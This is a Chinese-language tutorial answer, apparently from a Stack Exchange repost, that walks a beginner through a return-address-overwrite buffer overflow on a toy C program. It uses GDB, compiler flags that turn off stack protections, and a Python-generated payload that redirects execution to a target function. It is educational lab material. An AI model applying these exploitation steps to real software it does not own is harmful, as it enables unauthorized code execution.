非IT新手求助:Linux下GDB调试缓冲区溢出代码的方法
缓冲区溢出调试分步指南(Linux + GDB)
别慌!纯新手刚接触这类底层调试确实容易摸不着头脑,我会用最直白的步骤带你搞定这段代码的调试。
第一步:编译可调试的程序
默认Linux编译的程序会开启栈保护机制,直接调试看不到溢出效果,所以需要用特殊参数编译。打开终端进入代码所在目录,执行:
gcc -fno-stack-protector -z execstack -g overflow.c -o overflow
给你解释下每个参数的作用:
-fno-stack-protector:关闭栈金丝雀保护(防止系统自动检测缓冲区溢出)-z execstack:允许栈区域执行代码(这次我们是跳转到已有函数,加上能避免不必要的报错)-g:生成调试信息,让GDB能识别代码行、函数位置等
第二步:启动GDB并获取关键地址
- 启动GDB加载编译好的程序:
gdb ./overflow
- 找到
overflowed函数的内存地址(我们后面要让程序跳转到这里),执行命令:
info functions overflowed
或者反汇编函数直接看地址:
disassemble overflowed
你会得到类似这样的输出(地址可能和示例不同):
Dump of assembler code for function overflowed: 0x08048446 <+0>: push %ebp 0x08048447 <+1>: mov %esp,%ebp ...
把这个起始地址(比如0x08048446)记下来,后面要用。
第三步:分析栈布局,计算溢出长度
我们需要搞清楚function1的栈结构,才能知道输入多少字节能覆盖返回地址:
- 在
function1函数入口设置断点:
break function1
- 运行程序,输入一个短字符串(比如5个A):
run "AAAAA"
程序会停在function1开头,接下来查看栈帧信息:
info frame
然后查看栈内存内容,聚焦buffer所在区域:
x/20x $ebp-10 # 查看ebp下方10字节的内存,也就是buffer的位置
现在你需要明确两个关键位置:
buffer[5]的起始地址(栈上的存储位置)- 返回地址的位置(存在
ebp+4处,函数调用时返回地址会被压在旧ebp的上方)
计算溢出所需的填充字节:buffer大小是5字节,加上旧ebp的4字节(32位系统下ebp是4字节),总共是5 + 4 = 9字节。也就是说,输入9个任意字符会刚好填满buffer和旧ebp,第10个字节开始就会覆盖返回地址。
第四步:触发溢出并验证效果
用构造好的输入覆盖返回地址,跳转到overflowed函数:
假设你拿到的overflowed地址是0x08048446,在GDB里执行:
run $(python -c 'print "A"*9 + "\x46\x84\x04\x08"')
这里的"\x46\x84\x04\x08"是地址0x08048446的小端序表示(32位Linux系统采用小端字节序,需要把地址字节倒过来写)。
如果一切顺利,你会看到程序输出:
Execution Hijacked
这就说明缓冲区溢出成功,程序执行流程被成功劫持到overflowed函数。
额外调试小技巧
- 想一步步看溢出过程?可以在
strcpy行设置断点:break 10,用next/step逐行执行,之后再查看栈内存的变化。 - 用
info registers查看ebp、esp等寄存器的值,能帮你更直观理解栈的布局变化。 - 如果输入后程序崩溃,用
bt(backtrace)查看调用栈,快速定位问题。
内容的提问来源于stack exchange,提问作者567hz
相关产品推荐
相关产品推荐

